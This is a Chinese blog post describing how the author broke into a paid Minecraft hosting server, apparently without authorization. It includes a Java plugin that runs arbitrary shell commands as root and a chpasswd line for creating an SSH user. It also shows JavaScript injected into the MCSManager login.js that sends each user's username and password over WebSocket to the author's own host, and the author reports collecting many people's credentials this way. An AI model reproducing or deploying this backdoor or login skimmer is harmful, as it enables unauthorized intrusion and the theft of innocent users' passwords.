通过minecraft拿到服务器root的简单渗透实战

0x00 前言

那是2020年4月的一个下午。因为新冠,罕见的得了高中以来最长的寒假。当时我用树莓派3b开了个mc服务器玩。找了点朋友来玩,树莓派性能太差,时不时就卡住掉线,后来我在机器人社团认识的一个初三的朋友跟我说可以用他买的mc面板服来开,当时我对面板服不感兴趣,只想要个vps。

直到他说了一句话:

可以随意上传并运行任何服务端

这句话一下子点醒了我,马上就想到只要配置不当就可能非常脆弱。

0x01 Ping

搞到服务器地址先ping下!

看到TTL<64。大概率是Linux了,不免感到兴奋。

虽然Linux坚如磐石,但是大部分小白只会用root来运行程序,如果服务端在root上运行那可就太棒了。

0x02登陆

平平无奇没有什么漏洞。

都说忘记密码里漏洞多

直接拉起了qq聊天,要找管理员改密码。这条路也是不通的

有几个小功能,能上传文件。还有个控制台,不能交互。

从朋友那知道一下几点:

服务端需要在用户根目录下改名位server.jar才能运行服务端可以随意设置端口在1000以上购买时候套餐只有内存大小之分而没有cpu核心限制

分析出一下:

只要改名为server.jar的java程序应该都能运行防火墙只允许1000以上端口通过服务器应该是用-Xmx限制内存而且没有隔离

0x03测试

现在就是看管理员是不是傻傻的在root上运行。

我们不能直接弄个getshell的程序运行,要不然可能被管理员发现在这弄了个shell。

于是我写成了服务器插件,核心代码入下

if (command.getName().equalsIgnoreCase("kzt")){

String context;

for(String i : args){

com+=i + " ";

}

try {

Process p = Runtime.getRuntime().exec(com);

InputStream is = p.getInputStream();

BufferedReader reader = new BufferedReader(new InputStreamReader(is));

p.waitFor();

if (p.exitValue() == 0) {

while ((context = reader.readLine())!= null) {

player.sendMessage(context);

}

}

}

catch (Exception error){

player.sendMessage(error.toString());

}

return true;

}

执行ifconfig指令,能正常运行

执行id

真就运行在root上!

0x04拿到SSH

首先创建用户。

创建成功

因为控制台不支持交互,得换个方法创建密码。

我这里写个脚本上传再运行

echo user:passwd|chpasswd

发现SSH在运行且防火墙已关闭,仍然无法连接,推测应该是用某种东西进行了映射。

写了个转发程序,很简单就不晒了。

成功

0x05拿到sudo

直接改所有者,之后再改回来,比较简单先省略了。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

拿到!

还没完,别急走

0x06拿网站管理员账号

之前说了,这个服务器要钱买,那么如果重装后就得重新黑,而又得花笔钱。像我这样的穷鬼是绝对不允许的(滑稽)

多亏我的好兄弟帮我找到了这个项目

https://github.com/Suwings/MCSManager

登陆逻辑

非常复杂,虽然我们能读取加密后的密码,但是仍然需要时间而且可能无法破解。

看看结构

马上锁定login.js

只要传递username和password就能得明文密码了。

在3行插入

var ws = new WebSocket("ws://****:8080");

ws.onopen = function(){

ws.send(username + ":" + password);

}

之后再弄台服务器来接收,因为时间太久了,我把代码弄丢了。

第二天下午

我看了下服务器,没想到弄到了,还有其他很多人的。